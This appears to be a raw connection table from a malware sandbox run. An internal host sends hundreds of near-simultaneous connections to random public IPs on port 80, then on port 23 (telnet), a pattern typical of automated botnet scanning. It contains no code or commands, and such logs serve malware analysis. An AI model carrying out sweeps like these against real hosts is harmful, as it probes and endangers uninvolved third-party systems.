Dec 3, 2024 21:47:20.050232887 CET	39419	80	192.168.2.13	153.226.117.52
Dec 3, 2024 21:47:20.050232887 CET	39419	80	192.168.2.13	95.90.150.78
Dec 3, 2024 21:47:20.050232887 CET	39419	80	192.168.2.13	38.77.138.239
Dec 3, 2024 21:47:20.050235987 CET	39419	80	192.168.2.13	62.158.162.7
Dec 3, 2024 21:47:20.050235987 CET	39419	80	192.168.2.13	196.219.121.6
Dec 3, 2024 21:47:20.050240040 CET	39419	80	192.168.2.13	179.117.25.20
Dec 3, 2024 21:47:20.050244093 CET	39419	80	192.168.2.13	196.78.141.7
Dec 3, 2024 21:47:20.050244093 CET	39419	80	192.168.2.13	160.221.57.203
Dec 3, 2024 21:47:20.050244093 CET	39419	80	192.168.2.13	122.251.247.179
Dec 3, 2024 21:47:20.050251007 CET	39419	80	192.168.2.13	88.81.241.62
Dec 3, 2024 21:47:20.050260067 CET	39419	80	192.168.2.13	19.56.239.20
Dec 3, 2024 21:47:20.050260067 CET	39419	80	192.168.2.13	59.159.83.178
Dec 3, 2024 21:47:20.050260067 CET	39419	80	192.168.2.13	104.7.94.67
Dec 3, 2024 21:47:20.050266981 CET	39419	80	192.168.2.13	138.235.115.9
Dec 3, 2024 21:47:20.050281048 CET	39419	80	192.168.2.13	156.90.10.206
Dec 3, 2024 21:47:20.050281048 CET	39419	80	192.168.2.13	44.50.132.189
Dec 3, 2024 21:47:20.050282001 CET	39419	80	192.168.2.13	103.205.158.231
Dec 3, 2024 21:47:20.050288916 CET	39419	80	192.168.2.13	69.120.229.5
Dec 3, 2024 21:47:20.050302982 CET	39419	80	192.168.2.13	104.62.170.28
Dec 3, 2024 21:47:20.050302982 CET	39419	80	192.168.2.13	164.75.9.148
Dec 3, 2024 21:47:20.050304890 CET	39419	80	192.168.2.13	103.90.32.150
Dec 3, 2024 21:47:20.050314903 CET	39419	80	192.168.2.13	25.138.115.52
Dec 3, 2024 21:47:20.050321102 CET	39419	80	192.168.2.13	218.206.104.216
Dec 3, 2024 21:47:20.050326109 CET	39419	80	192.168.2.13	222.59.174.148
Dec 3, 2024 21:47:20.050328970 CET	39419	80	192.168.2.13	27.246.121.87
Dec 3, 2024 21:47:20.050340891 CET	39419	80	192.168.2.13	106.130.195.250
Dec 3, 2024 21:47:20.050349951 CET	39419	80	192.168.2.13	218.66.19.119
Dec 3, 2024 21:47:20.050362110 CET	39419	80	192.168.2.13	109.236.91.99
Dec 3, 2024 21:47:20.050375938 CET	39419	80	192.168.2.13	57.3.184.193
Dec 3, 2024 21:47:20.050379992 CET	39419	80	192.168.2.13	179.185.179.154
Dec 3, 2024 21:47:20.050381899 CET	39419	80	192.168.2.13	171.3.155.144
Dec 3, 2024 21:47:20.050390005 CET	39419	80	192.168.2.13	158.83.114.212
Dec 3, 2024 21:47:20.050395966 CET	39419	80	192.168.2.13	203.54.58.77
Dec 3, 2024 21:47:20.050407887 CET	39419	80	192.168.2.13	34.80.169.205
Dec 3, 2024 21:47:20.050410032 CET	39419	80	192.168.2.13	151.181.255.214
Dec 3, 2024 21:47:20.050410032 CET	39419	80	192.168.2.13	192.43.101.232
Dec 3, 2024 21:47:20.050419092 CET	39419	80	192.168.2.13	190.171.181.209
Dec 3, 2024 21:47:20.050421000 CET	39419	80	192.168.2.13	49.136.121.133
Dec 3, 2024 21:47:20.050427914 CET	39419	80	192.168.2.13	173.99.172.238
Dec 3, 2024 21:47:20.050431013 CET	39419	80	192.168.2.13	2.241.114.145
Dec 3, 2024 21:47:20.050440073 CET	39419	80	192.168.2.13	18.239.135.55
Dec 3, 2024 21:47:20.050441027 CET	39419	80	192.168.2.13	47.124.83.25
Dec 3, 2024 21:47:20.050446987 CET	39419	80	192.168.2.13	113.18.111.251
Dec 3, 2024 21:47:20.050461054 CET	39419	80	192.168.2.13	216.217.165.253
Dec 3, 2024 21:47:20.050462961 CET	39419	80	192.168.2.13	174.0.32.205
Dec 3, 2024 21:47:20.050463915 CET	39419	80	192.168.2.13	83.11.76.171
Dec 3, 2024 21:47:20.050476074 CET	39419	80	192.168.2.13	182.1.122.176
Dec 3, 2024 21:47:20.050520897 CET	39419	80	192.168.2.13	181.220.210.118
Dec 3, 2024 21:47:20.050520897 CET	39419	80	192.168.2.13	136.104.44.43
Dec 3, 2024 21:47:20.050522089 CET	39419	80	192.168.2.13	66.188.77.113
Dec 3, 2024 21:47:20.050522089 CET	39419	80	192.168.2.13	60.43.110.158
Dec 3, 2024 21:47:20.050524950 CET	39419	80	192.168.2.13	49.126.64.179
Dec 3, 2024 21:47:20.050525904 CET	39419	80	192.168.2.13	102.147.224.252
Dec 3, 2024 21:47:20.050525904 CET	39419	80	192.168.2.13	204.38.189.144
Dec 3, 2024 21:47:20.050533056 CET	39419	80	192.168.2.13	219.23.233.148
Dec 3, 2024 21:47:20.050533056 CET	39419	80	192.168.2.13	63.137.121.204
Dec 3, 2024 21:47:20.050535917 CET	39419	80	192.168.2.13	207.71.183.182
Dec 3, 2024 21:47:20.050540924 CET	39419	80	192.168.2.13	186.14.24.52
Dec 3, 2024 21:47:20.050542116 CET	39419	80	192.168.2.13	194.185.115.18
Dec 3, 2024 21:47:20.050542116 CET	39419	80	192.168.2.13	91.125.18.79
Dec 3, 2024 21:47:20.050542116 CET	39419	80	192.168.2.13	199.178.250.130
Dec 3, 2024 21:47:20.050544024 CET	39419	80	192.168.2.13	201.56.167.250
Dec 3, 2024 21:47:20.050542116 CET	39419	80	192.168.2.13	92.165.190.29
Dec 3, 2024 21:47:20.050544024 CET	39419	80	192.168.2.13	27.52.117.91
Dec 3, 2024 21:47:20.050548077 CET	39419	80	192.168.2.13	203.111.30.129
Dec 3, 2024 21:47:20.050549984 CET	39419	80	192.168.2.13	106.4.74.96
Dec 3, 2024 21:47:20.050549984 CET	39419	80	192.168.2.13	223.27.214.189
Dec 3, 2024 21:47:20.050565004 CET	39419	80	192.168.2.13	61.128.201.245
Dec 3, 2024 21:47:20.050565004 CET	39419	80	192.168.2.13	132.71.16.46
Dec 3, 2024 21:47:20.050568104 CET	39419	80	192.168.2.13	188.53.150.38
Dec 3, 2024 21:47:20.050570011 CET	39419	80	192.168.2.13	82.127.156.215
Dec 3, 2024 21:47:20.050580025 CET	39419	80	192.168.2.13	177.83.11.59
Dec 3, 2024 21:47:20.050580025 CET	39419	80	192.168.2.13	62.52.49.70
Dec 3, 2024 21:47:20.050587893 CET	39419	80	192.168.2.13	142.55.16.86
Dec 3, 2024 21:47:20.050590992 CET	39419	80	192.168.2.13	59.211.175.234
Dec 3, 2024 21:47:20.050606012 CET	39419	80	192.168.2.13	66.87.112.141
Dec 3, 2024 21:47:20.050606012 CET	39419	80	192.168.2.13	70.250.108.201
Dec 3, 2024 21:47:20.050607920 CET	39419	80	192.168.2.13	8.98.250.74
Dec 3, 2024 21:47:20.050607920 CET	39419	80	192.168.2.13	171.42.251.175
Dec 3, 2024 21:47:20.050607920 CET	39419	80	192.168.2.13	160.157.222.61
Dec 3, 2024 21:47:20.050626040 CET	39419	80	192.168.2.13	96.176.237.167
Dec 3, 2024 21:47:20.050635099 CET	39419	80	192.168.2.13	166.127.229.245
Dec 3, 2024 21:47:20.050635099 CET	39419	80	192.168.2.13	148.182.15.141
Dec 3, 2024 21:47:20.050648928 CET	39419	80	192.168.2.13	217.171.219.190
Dec 3, 2024 21:47:20.050672054 CET	39419	80	192.168.2.13	209.91.229.22
Dec 3, 2024 21:47:20.050689936 CET	39419	80	192.168.2.13	79.65.4.83
Dec 3, 2024 21:47:20.050704002 CET	39419	80	192.168.2.13	47.209.223.235
Dec 3, 2024 21:47:20.050707102 CET	39419	80	192.168.2.13	115.210.246.7
Dec 3, 2024 21:47:20.050707102 CET	39419	80	192.168.2.13	9.180.160.232
Dec 3, 2024 21:47:20.050713062 CET	39419	80	192.168.2.13	137.204.10.99
Dec 3, 2024 21:47:20.050721884 CET	39419	80	192.168.2.13	161.223.237.115
Dec 3, 2024 21:47:20.050728083 CET	39419	80	192.168.2.13	198.232.235.241
Dec 3, 2024 21:47:20.050731897 CET	39419	80	192.168.2.13	5.88.56.251
Dec 3, 2024 21:47:20.050731897 CET	39419	80	192.168.2.13	60.195.24.234
Dec 3, 2024 21:47:20.050731897 CET	39419	80	192.168.2.13	48.181.29.17
Dec 3, 2024 21:47:20.050734997 CET	39419	80	192.168.2.13	206.14.81.181
Dec 3, 2024 21:47:20.050756931 CET	39419	80	192.168.2.13	221.160.31.215
Dec 3, 2024 21:47:20.050765038 CET	39419	80	192.168.2.13	151.55.190.98
Dec 3, 2024 21:47:20.050765038 CET	39419	80	192.168.2.13	91.62.243.226
Dec 3, 2024 21:47:20.050781965 CET	39419	80	192.168.2.13	148.187.32.90
Dec 3, 2024 21:47:20.050791025 CET	39419	80	192.168.2.13	9.67.88.173
Dec 3, 2024 21:47:20.050791025 CET	39419	80	192.168.2.13	122.53.183.164
Dec 3, 2024 21:47:20.050801992 CET	39419	80	192.168.2.13	4.169.105.4
Dec 3, 2024 21:47:20.050802946 CET	39419	80	192.168.2.13	221.83.62.222
Dec 3, 2024 21:47:20.050826073 CET	39419	80	192.168.2.13	181.147.142.213
Dec 3, 2024 21:47:20.050827026 CET	39419	80	192.168.2.13	38.122.43.217
Dec 3, 2024 21:47:20.050827026 CET	39419	80	192.168.2.13	32.189.96.153
Dec 3, 2024 21:47:20.050836086 CET	39419	80	192.168.2.13	112.230.248.204
Dec 3, 2024 21:47:20.050841093 CET	39419	80	192.168.2.13	87.219.107.170
Dec 3, 2024 21:47:20.050841093 CET	39419	80	192.168.2.13	72.144.24.151
Dec 3, 2024 21:47:20.050842047 CET	39419	80	192.168.2.13	216.198.134.179
Dec 3, 2024 21:47:20.050851107 CET	39419	80	192.168.2.13	32.181.178.80
Dec 3, 2024 21:47:20.050856113 CET	39419	80	192.168.2.13	198.206.18.248
Dec 3, 2024 21:47:20.050865889 CET	39419	80	192.168.2.13	178.184.186.162
Dec 3, 2024 21:47:20.050867081 CET	39419	80	192.168.2.13	180.47.196.138
Dec 3, 2024 21:47:20.050892115 CET	39419	80	192.168.2.13	84.35.60.128
Dec 3, 2024 21:47:20.050904036 CET	39419	80	192.168.2.13	198.118.200.143
Dec 3, 2024 21:47:20.050913095 CET	39419	80	192.168.2.13	65.185.221.91
Dec 3, 2024 21:47:20.050914049 CET	39419	80	192.168.2.13	194.164.6.7
Dec 3, 2024 21:47:20.050916910 CET	39419	80	192.168.2.13	72.73.215.114
Dec 3, 2024 21:47:20.050921917 CET	39419	80	192.168.2.13	168.253.195.201
Dec 3, 2024 21:47:20.050921917 CET	39419	80	192.168.2.13	77.194.233.176
Dec 3, 2024 21:47:20.050923109 CET	39419	80	192.168.2.13	37.54.122.181
Dec 3, 2024 21:47:20.050945044 CET	39419	80	192.168.2.13	94.199.22.51
Dec 3, 2024 21:47:20.050947905 CET	39419	80	192.168.2.13	172.7.153.253
Dec 3, 2024 21:47:20.050960064 CET	39419	80	192.168.2.13	160.75.76.48
Dec 3, 2024 21:47:20.050960064 CET	39419	80	192.168.2.13	161.166.31.229
Dec 3, 2024 21:47:20.050978899 CET	39419	80	192.168.2.13	200.39.182.239
Dec 3, 2024 21:47:20.050981998 CET	39419	80	192.168.2.13	41.251.49.20
Dec 3, 2024 21:47:20.050981998 CET	39419	80	192.168.2.13	209.219.255.32
Dec 3, 2024 21:47:20.050981998 CET	39419	80	192.168.2.13	99.173.230.219
Dec 3, 2024 21:47:20.050987959 CET	39419	80	192.168.2.13	217.115.43.211
Dec 3, 2024 21:47:20.050992012 CET	39419	80	192.168.2.13	139.194.138.33
Dec 3, 2024 21:47:20.051011086 CET	39419	80	192.168.2.13	150.50.94.18
Dec 3, 2024 21:47:20.051012039 CET	39419	80	192.168.2.13	137.176.58.76
Dec 3, 2024 21:47:20.051012039 CET	39419	80	192.168.2.13	99.108.130.55
Dec 3, 2024 21:47:20.051023006 CET	39419	80	192.168.2.13	99.235.17.8
Dec 3, 2024 21:47:20.051026106 CET	39419	80	192.168.2.13	70.58.8.171
Dec 3, 2024 21:47:20.051065922 CET	39419	80	192.168.2.13	88.34.153.140
Dec 3, 2024 21:47:20.051073074 CET	39419	80	192.168.2.13	182.165.142.74
Dec 3, 2024 21:47:20.051084042 CET	39419	80	192.168.2.13	36.112.35.2
Dec 3, 2024 21:47:20.051084995 CET	39419	80	192.168.2.13	192.64.194.209
Dec 3, 2024 21:47:20.051089048 CET	39419	80	192.168.2.13	101.122.201.10
Dec 3, 2024 21:47:20.051093102 CET	39419	80	192.168.2.13	138.142.251.128
Dec 3, 2024 21:47:20.051105976 CET	39419	80	192.168.2.13	182.36.218.182
Dec 3, 2024 21:47:20.051115990 CET	39419	80	192.168.2.13	80.177.144.85
Dec 3, 2024 21:47:20.051115990 CET	39419	80	192.168.2.13	42.25.167.244
Dec 3, 2024 21:47:20.051127911 CET	39419	80	192.168.2.13	183.88.1.241
Dec 3, 2024 21:47:20.051143885 CET	39419	80	192.168.2.13	129.56.39.155
Dec 3, 2024 21:47:20.051143885 CET	39419	80	192.168.2.13	120.95.195.109
Dec 3, 2024 21:47:20.051160097 CET	39419	80	192.168.2.13	197.67.152.236
Dec 3, 2024 21:47:20.051171064 CET	39419	80	192.168.2.13	131.176.17.238
Dec 3, 2024 21:47:20.051176071 CET	39419	80	192.168.2.13	49.184.47.66
Dec 3, 2024 21:47:20.051196098 CET	39419	80	192.168.2.13	9.15.74.223
Dec 3, 2024 21:47:20.051203012 CET	39419	80	192.168.2.13	117.180.247.2
Dec 3, 2024 21:47:20.051213026 CET	39419	80	192.168.2.13	46.126.56.211
Dec 3, 2024 21:47:20.051215887 CET	39419	80	192.168.2.13	193.98.140.57
Dec 3, 2024 21:47:20.051220894 CET	39419	80	192.168.2.13	61.230.221.30
Dec 3, 2024 21:47:20.051220894 CET	39419	80	192.168.2.13	205.25.217.205
Dec 3, 2024 21:47:20.051220894 CET	39419	80	192.168.2.13	101.74.9.183
Dec 3, 2024 21:47:20.051244974 CET	39419	80	192.168.2.13	146.42.151.64
Dec 3, 2024 21:47:20.051246881 CET	39419	80	192.168.2.13	42.114.0.10
Dec 3, 2024 21:47:20.051248074 CET	39419	80	192.168.2.13	67.171.85.215
Dec 3, 2024 21:47:20.051258087 CET	39419	80	192.168.2.13	4.70.84.94
Dec 3, 2024 21:47:20.051258087 CET	39419	80	192.168.2.13	222.27.87.138
Dec 3, 2024 21:47:20.051258087 CET	39419	80	192.168.2.13	19.182.37.210
Dec 3, 2024 21:47:20.051264048 CET	39419	80	192.168.2.13	165.242.237.145
Dec 3, 2024 21:47:20.051265955 CET	39419	80	192.168.2.13	79.136.14.71
Dec 3, 2024 21:47:20.051266909 CET	39419	80	192.168.2.13	206.86.225.173
Dec 3, 2024 21:47:20.051292896 CET	39419	80	192.168.2.13	207.171.194.26
Dec 3, 2024 21:47:20.051292896 CET	39419	80	192.168.2.13	175.195.166.59
Dec 3, 2024 21:47:20.051295042 CET	39419	80	192.168.2.13	140.61.80.245
Dec 3, 2024 21:47:20.051295042 CET	39419	80	192.168.2.13	178.169.151.209
Dec 3, 2024 21:47:20.051295042 CET	39419	80	192.168.2.13	98.212.30.122
Dec 3, 2024 21:47:20.051302910 CET	39419	80	192.168.2.13	44.155.238.47
Dec 3, 2024 21:47:20.051306963 CET	39419	80	192.168.2.13	40.82.201.94
Dec 3, 2024 21:47:20.051307917 CET	39419	80	192.168.2.13	106.223.29.155
Dec 3, 2024 21:47:20.051307917 CET	39419	80	192.168.2.13	145.224.43.66
Dec 3, 2024 21:47:20.051307917 CET	39419	80	192.168.2.13	63.154.167.58
Dec 3, 2024 21:47:20.051321983 CET	39419	80	192.168.2.13	183.206.29.70
Dec 3, 2024 21:47:20.051322937 CET	39419	80	192.168.2.13	118.137.140.172
Dec 3, 2024 21:47:20.051327944 CET	39419	80	192.168.2.13	20.203.170.253
Dec 3, 2024 21:47:20.051330090 CET	39419	80	192.168.2.13	98.69.97.250
Dec 3, 2024 21:47:20.051337957 CET	39419	80	192.168.2.13	84.62.221.156
Dec 3, 2024 21:47:20.051342964 CET	39419	80	192.168.2.13	73.156.20.20
Dec 3, 2024 21:47:20.051357031 CET	39419	80	192.168.2.13	20.43.57.156
Dec 3, 2024 21:47:20.051357985 CET	39419	80	192.168.2.13	189.141.190.188
Dec 3, 2024 21:47:20.051362991 CET	39419	80	192.168.2.13	84.23.79.232
Dec 3, 2024 21:47:20.051362991 CET	39419	80	192.168.2.13	61.21.205.218
Dec 3, 2024 21:47:20.051369905 CET	39419	80	192.168.2.13	107.22.177.53
Dec 3, 2024 21:47:20.051372051 CET	39419	80	192.168.2.13	135.118.20.241
Dec 3, 2024 21:47:20.051388025 CET	39419	80	192.168.2.13	2.156.247.46
Dec 3, 2024 21:47:20.051393032 CET	39419	80	192.168.2.13	171.99.224.206
Dec 3, 2024 21:47:20.051394939 CET	39419	80	192.168.2.13	69.26.59.11
Dec 3, 2024 21:47:20.051399946 CET	39419	80	192.168.2.13	149.189.35.200
Dec 3, 2024 21:47:20.051403046 CET	39419	80	192.168.2.13	173.165.44.189
Dec 3, 2024 21:47:20.051414013 CET	39419	80	192.168.2.13	170.88.52.36
Dec 3, 2024 21:47:20.051429987 CET	39419	80	192.168.2.13	146.68.162.107
Dec 3, 2024 21:47:20.051430941 CET	39419	80	192.168.2.13	131.225.243.213
Dec 3, 2024 21:47:20.051429987 CET	39419	80	192.168.2.13	44.107.27.216
Dec 3, 2024 21:47:20.051434040 CET	39419	80	192.168.2.13	210.71.236.195
Dec 3, 2024 21:47:20.051434040 CET	39419	80	192.168.2.13	144.155.132.135
Dec 3, 2024 21:47:20.051469088 CET	39419	80	192.168.2.13	95.238.253.1
Dec 3, 2024 21:47:20.051469088 CET	39419	80	192.168.2.13	150.240.91.113
Dec 3, 2024 21:47:20.051470041 CET	39419	80	192.168.2.13	132.78.253.152
Dec 3, 2024 21:47:20.051477909 CET	39419	80	192.168.2.13	152.77.193.170
Dec 3, 2024 21:47:20.051481009 CET	39419	80	192.168.2.13	213.201.71.88
Dec 3, 2024 21:47:20.051486969 CET	39419	80	192.168.2.13	188.244.113.84
Dec 3, 2024 21:47:20.051487923 CET	39419	80	192.168.2.13	43.63.198.46
Dec 3, 2024 21:47:20.051490068 CET	39419	80	192.168.2.13	169.185.156.138
Dec 3, 2024 21:47:20.051490068 CET	39419	80	192.168.2.13	4.55.239.144
Dec 3, 2024 21:47:20.051491022 CET	39419	80	192.168.2.13	218.67.8.178
Dec 3, 2024 21:47:20.051492929 CET	39419	80	192.168.2.13	185.168.103.8
Dec 3, 2024 21:47:20.051492929 CET	39419	80	192.168.2.13	81.52.240.151
Dec 3, 2024 21:47:20.051498890 CET	39419	80	192.168.2.13	27.177.169.140
Dec 3, 2024 21:47:20.051498890 CET	39419	80	192.168.2.13	45.155.211.190
Dec 3, 2024 21:47:20.051505089 CET	39419	80	192.168.2.13	53.53.32.82
Dec 3, 2024 21:47:20.051506042 CET	39419	80	192.168.2.13	34.179.34.38
Dec 3, 2024 21:47:20.051505089 CET	39419	80	192.168.2.13	120.38.200.239
Dec 3, 2024 21:47:20.051513910 CET	39419	80	192.168.2.13	5.55.203.20
Dec 3, 2024 21:47:20.051522017 CET	39419	80	192.168.2.13	1.187.147.84
Dec 3, 2024 21:47:20.051522017 CET	39419	80	192.168.2.13	159.92.199.66
Dec 3, 2024 21:47:20.051527023 CET	39419	80	192.168.2.13	221.23.120.156
Dec 3, 2024 21:47:20.051534891 CET	39419	80	192.168.2.13	20.134.20.89
Dec 3, 2024 21:47:20.051539898 CET	39419	80	192.168.2.13	185.188.71.95
Dec 3, 2024 21:47:20.051556110 CET	39419	80	192.168.2.13	121.97.46.112
Dec 3, 2024 21:47:20.051559925 CET	39419	80	192.168.2.13	95.58.201.212
Dec 3, 2024 21:47:20.051559925 CET	39419	80	192.168.2.13	79.166.220.34
Dec 3, 2024 21:47:20.051590919 CET	39419	80	192.168.2.13	8.42.171.206
Dec 3, 2024 21:47:20.051590919 CET	39419	80	192.168.2.13	121.249.187.77
Dec 3, 2024 21:47:20.051594973 CET	39419	80	192.168.2.13	222.244.171.42
Dec 3, 2024 21:47:20.051604986 CET	39419	80	192.168.2.13	173.233.2.164
Dec 3, 2024 21:47:20.051610947 CET	39419	80	192.168.2.13	81.8.9.100
Dec 3, 2024 21:47:20.051629066 CET	39419	80	192.168.2.13	89.224.88.106
Dec 3, 2024 21:47:20.051630974 CET	39419	80	192.168.2.13	95.3.51.78
Dec 3, 2024 21:47:20.051629066 CET	39419	80	192.168.2.13	195.246.31.154
Dec 3, 2024 21:47:20.051636934 CET	39419	80	192.168.2.13	209.170.86.136
Dec 3, 2024 21:47:20.051641941 CET	39419	80	192.168.2.13	41.183.50.139
Dec 3, 2024 21:47:20.051661015 CET	39419	80	192.168.2.13	52.0.147.175
Dec 3, 2024 21:47:20.051667929 CET	39419	80	192.168.2.13	216.93.13.176
Dec 3, 2024 21:47:20.051667929 CET	39419	80	192.168.2.13	121.104.41.245
Dec 3, 2024 21:47:20.051671982 CET	39419	80	192.168.2.13	172.92.216.61
Dec 3, 2024 21:47:20.051676989 CET	39419	80	192.168.2.13	64.240.0.228
Dec 3, 2024 21:47:20.051696062 CET	39419	80	192.168.2.13	81.102.4.187
Dec 3, 2024 21:47:20.051696062 CET	39419	80	192.168.2.13	112.240.62.84
Dec 3, 2024 21:47:20.051696062 CET	39419	80	192.168.2.13	199.181.161.76
Dec 3, 2024 21:47:20.051708937 CET	39419	80	192.168.2.13	185.219.91.74
Dec 3, 2024 21:47:20.051724911 CET	39419	80	192.168.2.13	86.67.10.164
Dec 3, 2024 21:47:20.051726103 CET	39419	80	192.168.2.13	129.66.14.46
Dec 3, 2024 21:47:20.051728010 CET	39419	80	192.168.2.13	205.73.74.15
Dec 3, 2024 21:47:20.051728964 CET	39419	80	192.168.2.13	80.97.15.190
Dec 3, 2024 21:47:20.051738977 CET	39419	80	192.168.2.13	117.228.90.116
Dec 3, 2024 21:47:20.051752090 CET	39419	80	192.168.2.13	166.152.52.86
Dec 3, 2024 21:47:20.051753998 CET	39419	80	192.168.2.13	213.64.150.182
Dec 3, 2024 21:47:20.051755905 CET	39419	80	192.168.2.13	99.251.83.224
Dec 3, 2024 21:47:20.051763058 CET	39419	80	192.168.2.13	18.200.228.125
Dec 3, 2024 21:47:20.051775932 CET	39419	80	192.168.2.13	91.239.214.159
Dec 3, 2024 21:47:20.051795006 CET	39419	80	192.168.2.13	144.192.213.4
Dec 3, 2024 21:47:20.051795959 CET	39419	80	192.168.2.13	95.34.15.229
Dec 3, 2024 21:47:20.051812887 CET	39419	80	192.168.2.13	50.96.246.20
Dec 3, 2024 21:47:20.051815033 CET	39419	80	192.168.2.13	186.169.137.24
Dec 3, 2024 21:47:20.051815033 CET	39419	80	192.168.2.13	12.160.31.252
Dec 3, 2024 21:47:20.051821947 CET	39419	80	192.168.2.13	1.20.46.138
Dec 3, 2024 21:47:20.051826000 CET	39419	80	192.168.2.13	169.146.123.219
Dec 3, 2024 21:47:20.051829100 CET	39419	80	192.168.2.13	65.103.117.3
Dec 3, 2024 21:47:20.051830053 CET	39419	80	192.168.2.13	37.223.238.93
Dec 3, 2024 21:47:20.051843882 CET	39419	80	192.168.2.13	14.234.208.117
Dec 3, 2024 21:47:20.051846027 CET	39419	80	192.168.2.13	181.90.165.228
Dec 3, 2024 21:47:20.051846027 CET	39419	80	192.168.2.13	141.225.251.170
Dec 3, 2024 21:47:20.051846027 CET	39419	80	192.168.2.13	142.238.233.185
Dec 3, 2024 21:47:20.051872969 CET	39419	80	192.168.2.13	49.205.17.41
Dec 3, 2024 21:47:20.051876068 CET	39419	80	192.168.2.13	218.166.28.229
Dec 3, 2024 21:47:20.051876068 CET	39419	80	192.168.2.13	2.128.253.223
Dec 3, 2024 21:47:20.051882982 CET	39419	80	192.168.2.13	193.108.178.206
Dec 3, 2024 21:47:20.051889896 CET	39419	80	192.168.2.13	59.64.155.255
Dec 3, 2024 21:47:20.051891088 CET	39419	80	192.168.2.13	194.86.48.70
Dec 3, 2024 21:47:20.051894903 CET	39419	80	192.168.2.13	187.177.136.86
Dec 3, 2024 21:47:20.051909924 CET	39419	80	192.168.2.13	23.176.193.112
Dec 3, 2024 21:47:20.051913977 CET	39419	80	192.168.2.13	73.218.6.5
Dec 3, 2024 21:47:20.051919937 CET	39419	80	192.168.2.13	134.131.238.38
Dec 3, 2024 21:47:20.051933050 CET	39419	80	192.168.2.13	157.160.130.159
Dec 3, 2024 21:47:20.051944017 CET	39419	80	192.168.2.13	60.95.88.233
Dec 3, 2024 21:47:20.051954985 CET	39419	80	192.168.2.13	105.173.114.112
Dec 3, 2024 21:47:20.051969051 CET	39419	80	192.168.2.13	51.172.31.215
Dec 3, 2024 21:47:20.051979065 CET	39419	80	192.168.2.13	210.183.231.255
Dec 3, 2024 21:47:20.051984072 CET	39419	80	192.168.2.13	119.226.207.253
Dec 3, 2024 21:47:20.052000046 CET	39419	80	192.168.2.13	50.231.17.141
Dec 3, 2024 21:47:20.052004099 CET	39419	80	192.168.2.13	53.150.158.128
Dec 3, 2024 21:47:20.052004099 CET	39419	80	192.168.2.13	142.217.17.149
Dec 3, 2024 21:47:20.052004099 CET	39419	80	192.168.2.13	212.227.111.147
Dec 3, 2024 21:47:20.052011967 CET	39419	80	192.168.2.13	144.193.52.27
Dec 3, 2024 21:47:20.052028894 CET	39419	80	192.168.2.13	192.206.16.2
Dec 3, 2024 21:47:20.052031994 CET	39419	80	192.168.2.13	53.180.144.116
Dec 3, 2024 21:47:20.065733910 CET	40955	23	192.168.2.13	154.145.46.122
Dec 3, 2024 21:47:20.065733910 CET	40955	23	192.168.2.13	132.105.120.87
Dec 3, 2024 21:47:20.065747023 CET	40955	23	192.168.2.13	59.84.23.56
Dec 3, 2024 21:47:20.065751076 CET	40955	23	192.168.2.13	117.117.142.130
Dec 3, 2024 21:47:20.065756083 CET	40955	23	192.168.2.13	177.242.36.112
Dec 3, 2024 21:47:20.065757036 CET	40955	23	192.168.2.13	135.214.23.30
Dec 3, 2024 21:47:20.065757036 CET	40955	23	192.168.2.13	208.97.12.235
Dec 3, 2024 21:47:20.065773010 CET	40955	23	192.168.2.13	207.63.216.175
Dec 3, 2024 21:47:20.065773964 CET	40955	23	192.168.2.13	105.1.61.38
Dec 3, 2024 21:47:20.065773964 CET	40955	23	192.168.2.13	138.144.13.5
Dec 3, 2024 21:47:20.065792084 CET	40955	23	192.168.2.13	47.216.44.40
Dec 3, 2024 21:47:20.065804005 CET	40955	23	192.168.2.13	197.66.167.73
Dec 3, 2024 21:47:20.065814972 CET	40955	23	192.168.2.13	190.74.36.134
Dec 3, 2024 21:47:20.065824986 CET	40955	23	192.168.2.13	76.13.144.176
Dec 3, 2024 21:47:20.065823078 CET	40955	23	192.168.2.13	177.145.169.87
Dec 3, 2024 21:47:20.065829039 CET	40955	23	192.168.2.13	183.115.48.40
Dec 3, 2024 21:47:20.065843105 CET	40955	23	192.168.2.13	220.26.110.92
Dec 3, 2024 21:47:20.065845013 CET	40955	23	192.168.2.13	213.134.117.225
Dec 3, 2024 21:47:20.065846920 CET	40955	23	192.168.2.13	171.225.16.89
Dec 3, 2024 21:47:20.065846920 CET	40955	23	192.168.2.13	219.25.112.133
Dec 3, 2024 21:47:20.065846920 CET	40955	23	192.168.2.13	217.68.163.34
Dec 3, 2024 21:47:20.065846920 CET	40955	23	192.168.2.13	171.131.151.29
Dec 3, 2024 21:47:20.065865040 CET	40955	23	192.168.2.13	182.168.2.243
Dec 3, 2024 21:47:20.065870047 CET	40955	23	192.168.2.13	110.42.87.45
Dec 3, 2024 21:47:20.065876007 CET	40955	23	192.168.2.13	157.173.13.205
Dec 3, 2024 21:47:20.065876007 CET	40955	23	192.168.2.13	184.32.157.127
Dec 3, 2024 21:47:20.065886974 CET	40955	23	192.168.2.13	175.132.29.147
Dec 3, 2024 21:47:20.065908909 CET	40955	23	192.168.2.13	88.62.93.186
Dec 3, 2024 21:47:20.065911055 CET	40955	23	192.168.2.13	25.163.13.92
Dec 3, 2024 21:47:20.065913916 CET	40955	23	192.168.2.13	185.90.84.19
Dec 3, 2024 21:47:20.065920115 CET	40955	23	192.168.2.13	135.143.13.129
Dec 3, 2024 21:47:20.065920115 CET	40955	23	192.168.2.13	206.96.5.164
Dec 3, 2024 21:47:20.065926075 CET	40955	23	192.168.2.13	204.198.126.29
Dec 3, 2024 21:47:20.065926075 CET	40955	23	192.168.2.13	159.23.112.121
Dec 3, 2024 21:47:20.065932035 CET	40955	23	192.168.2.13	166.67.36.35
Dec 3, 2024 21:47:20.065937042 CET	40955	23	192.168.2.13	121.18.30.200
Dec 3, 2024 21:47:20.065937042 CET	40955	23	192.168.2.13	164.1.235.78
Dec 3, 2024 21:47:20.065937042 CET	40955	23	192.168.2.13	192.128.211.21
Dec 3, 2024 21:47:20.065939903 CET	40955	23	192.168.2.13	104.124.41.137
Dec 3, 2024 21:47:20.065939903 CET	40955	23	192.168.2.13	192.99.90.52
Dec 3, 2024 21:47:20.065941095 CET	40955	23	192.168.2.13	69.110.244.173
Dec 3, 2024 21:47:20.065948963 CET	40955	23	192.168.2.13	69.125.59.132
Dec 3, 2024 21:47:20.065952063 CET	40955	23	192.168.2.13	24.131.235.189
Dec 3, 2024 21:47:20.065952063 CET	40955	23	192.168.2.13	104.22.81.188
Dec 3, 2024 21:47:20.065953970 CET	40955	23	192.168.2.13	128.30.97.96
Dec 3, 2024 21:47:20.065960884 CET	40955	23	192.168.2.13	134.148.41.198
Dec 3, 2024 21:47:20.065960884 CET	40955	23	192.168.2.13	68.87.152.199
